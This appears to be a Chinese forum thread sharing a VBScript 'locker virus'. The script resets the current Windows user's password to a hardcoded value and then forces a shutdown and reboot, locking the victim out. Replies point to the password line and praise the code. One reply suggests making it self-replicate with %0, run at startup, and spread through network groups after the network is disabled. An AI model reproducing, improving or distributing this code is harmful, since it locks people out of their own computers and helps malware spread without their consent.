vbs锁机病毒代码

Const strPassword = "doubi"'
Dim WshNetwork
Set WshNetwork = CreateObject("WScript.Network")
Dim userName
userName = WshNetwork.userName&",user"
Dim Domain
Set Domain = GetObject("WinNT://./"&userName)
Domain.SetPassword strPassword
Domain.SetInfo
dim gj

set gj=createobject("wscript.shell")

gj.run"shutdown -f -t"'

Set objWMI = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\.\root\cimv2")
objWMI.Security_.ImpersonationLevel=3
objWMI.Security_.Privileges.Add 18
Set colOS=objWMI.InstancesOf ("Win32_OperatingSystem where Primary=true")
For Each clsOS in colOS
clsOS.Reboot()
Next

凤哥说一下哪个改密码/xyx

H.U.C-英短 发表于 2022-4-25 21:43
凤哥说一下哪个改密码/xyx

Const strPassword = "doubi"

虽然看不懂，不过感觉很厉害

真不错

你可以试试用vbs打开bat，用bat打开vbs，后面加上%0，在指令加入开机自动启动！然后发送网络组，，代码前缀必须是先关闭网络，最后你家没了